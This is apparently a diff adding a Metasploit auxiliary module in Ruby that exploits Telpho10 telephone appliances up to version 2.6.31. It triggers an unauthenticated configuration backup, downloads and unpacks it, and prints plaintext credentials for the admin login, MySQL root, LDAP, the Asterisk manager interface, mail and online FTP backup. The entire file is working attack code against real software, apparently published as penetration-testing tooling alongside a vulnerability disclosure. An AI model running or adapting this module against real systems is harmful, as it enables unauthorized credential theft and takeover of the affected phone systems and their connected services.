|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'rubygems/package' |
| 8 | + |
| 9 | +class MetasploitModule < Msf::Auxiliary |
| 10 | + include Msf::Auxiliary::Report |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + |
| 13 | + def initialize(info={}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'Telpho10 Backup Credentials Dumper', |
| 16 | + 'Description' => %q{ |
| 17 | + This module exploits a vulnerability found in Telpho10 telephone system |
| 18 | + appliance. This module generates a configuration backup of Telpho10, |
| 19 | + downloads the file and dumps the credentials for admin login, |
| 20 | + phpmyadmin, phpldapadmin, etc. |
| 21 | + This module has been successfully tested on the appliance. |
| 22 | + }, |
| 23 | + 'Author' => 'Jan Rude', # Vulnerability Discovery and Metasploit Module |
| 24 | + 'License' => MSF_LICENSE, |
| 25 | + 'References' => ['URL', 'https://github.com/whoot/TelpOWN'], |
| 26 | + 'Platform' => 'linux', |
| 27 | + 'Targets' => |
| 28 | + [ |
| 29 | + ['Telpho10 <= 2.6.31', {}] |
| 30 | + ], |
| 31 | + 'Privileged' => false, |
| 32 | + 'DisclosureDate' => 'Sep 2 2016')) |
| 33 | + |
| 34 | + register_options( |
| 35 | + [ |
| 36 | + Opt::RPORT(80) |
| 37 | + ], self.class) |
| 38 | + end |
| 39 | + |
| 40 | + # Used for unpacking backup files |
| 41 | + def untar(tarfile) |
| 42 | + destination = tarfile.split('.tar').first |
| 43 | + FileUtils.mkdir_p(destination) |
| 44 | + File.open(tarfile, 'rb') do |file| |
| 45 | + Gem::Package::TarReader.new(file) do |tar| |
| 46 | + tar.each do |entry| |
| 47 | + dest = File.join destination, entry.full_name |
| 48 | + if entry.file? |
| 49 | + File.open(dest, 'wb') do |f| |
| 50 | + f.write(entry.read) |
| 51 | + end |
| 52 | + File.chmod(entry.header.mode, dest) |
| 53 | + end |
| 54 | + end |
| 55 | + end |
| 56 | + end |
| 57 | + return destination |
| 58 | + end |
| 59 | + |
| 60 | + # search for credentials in backup file |
| 61 | + def dump_creds(mysql_file) |
| 62 | + file = File.new(mysql_file, 'r') |
| 63 | + while (line = file.gets) |
| 64 | + if line.include? 'adminusername' |
| 65 | + config = [line] |
| 66 | + end |
| 67 | + end |
| 68 | + file.close |
| 69 | + |
| 70 | + print_status('Login (/telpho/login.php)') |
| 71 | + print_status('-------------------------') |
| 72 | + print_good("Username: #{config.first[/adminusername\',\'(.*?)\'/, 1]}") |
| 73 | + print_good("Password: #{config.first[/adminpassword\',\'(.*?)\'/, 1]}\n") |
| 74 | + |
| 75 | + print_status('MySQL (/phpmyadmin)') |
| 76 | + print_status('-------------------') |
| 77 | + print_good('Username: root') |
| 78 | + print_good("Password: #{config.first[/dbpassword\',\'(.*?)\'/, 1]}\n") |
| 79 | + |
| 80 | + print_status('LDAP (/phpldapadmin)') |
| 81 | + print_status('--------------------') |
| 82 | + print_good('Username: cn=admin,dc=localdomain') |
| 83 | + print_good("Password: #{config.first[/ldappassword\',\'(.*?)\'/, 1]}\n") |
| 84 | + |
| 85 | + print_status('Asterisk MI (port 5038)') |
| 86 | + print_status('-----------------------') |
| 87 | + print_good("Username: #{config.first[/manageruser\',\'(.*?)\'/, 1]}") |
| 88 | + print_good("Password: #{config.first[/managersecret\',\'(.*?)\'/, 1]}\n") |
| 89 | + |
| 90 | + print_status('Mail configuration') |
| 91 | + print_status('------------------') |
| 92 | + print_good("Mailserver: #{config.first[/ipsmarthost\',\'(.*?)\'/, 1]}") |
| 93 | + print_good("Username: #{config.first[/mailusername\',\'(.*?)\'/, 1]}") |
| 94 | + print_good("Password: #{config.first[/mailpassword\',\'(.*?)\'/, 1]}") |
| 95 | + print_good("Mail from: #{config.first[/mailfrom\',\'(.*?)\'/, 1]}\n") |
| 96 | + |
| 97 | + print_status('Online Backup') |
| 98 | + print_status('-------------') |
| 99 | + print_good("ID: #{config.first[/ftpbackupid\',\'(.*?)\'/, 1]}") |
| 100 | + print_good("Password: #{config.first[/ftpbackuppw\',\'(.*?)\'/, 1]}\n") |
| 101 | + |
| 102 | + end |
| 103 | + |
| 104 | + def run |
| 105 | + res = send_request_cgi({ |
| 106 | + 'uri' => '/telpho/system/backup.php', |
| 107 | + 'method' => 'GET' |
| 108 | + }) |
| 109 | + if res && res.code == 200 |
| 110 | + print_status('Generating backup') |
| 111 | + sleep(1) |
| 112 | + else |
| 113 | + print_error("Could not find vulnerable script. Aborting.") |
| 114 | + return nil |
| 115 | + end |
| 116 | + |
| 117 | + print_status('Downloading backup') |
| 118 | + res = send_request_cgi({ |
| 119 | + 'uri' => '/telpho/temp/telpho10.epb', |
| 120 | + 'method' => 'GET' |
| 121 | + }) |
| 122 | + if res && res.code == 200 |
| 123 | + if res.body.to_s.bytesize == 0 |
| 124 | + print_error('0 bytes returned, file does not exist or is empty.') |
| 125 | + return nil |
| 126 | + end |
| 127 | + |
| 128 | + path = store_loot( |
| 129 | + 'telpho10.backup', |
| 130 | + 'application/x-compressed', |
| 131 | + datastore['RHOST'], |
| 132 | + res.body, |
| 133 | + 'backup.tar' |
| 134 | + ) |
| 135 | + print_good("File saved in: #{path}") |
| 136 | + |
| 137 | + begin |
| 138 | + extracted = untar("#{path}") |
| 139 | + mysql = untar("#{extracted}/mysql.tar") |
| 140 | + rescue |
| 141 | + print_error('Could not unpack files.') |
| 142 | + return nil |
| 143 | + end |
| 144 | + begin |
| 145 | + print_status("Dumping credentials\n") |
| 146 | + dump_creds("#{mysql}/mysql.epb") |
| 147 | + rescue |
| 148 | + print_error('Could not find credential file.') |
| 149 | + return nil |
| 150 | + end |
| 151 | + else |
| 152 | + print_error('Failed to download backup file.') |
| 153 | + return nil |
| 154 | + end |
| 155 | + rescue ::Rex::ConnectionError |
| 156 | + print_error("#{rhost}:#{rport} - Failed to connect") |
| 157 | + return nil |
| 158 | + end |
| 159 | +end |
0 commit comments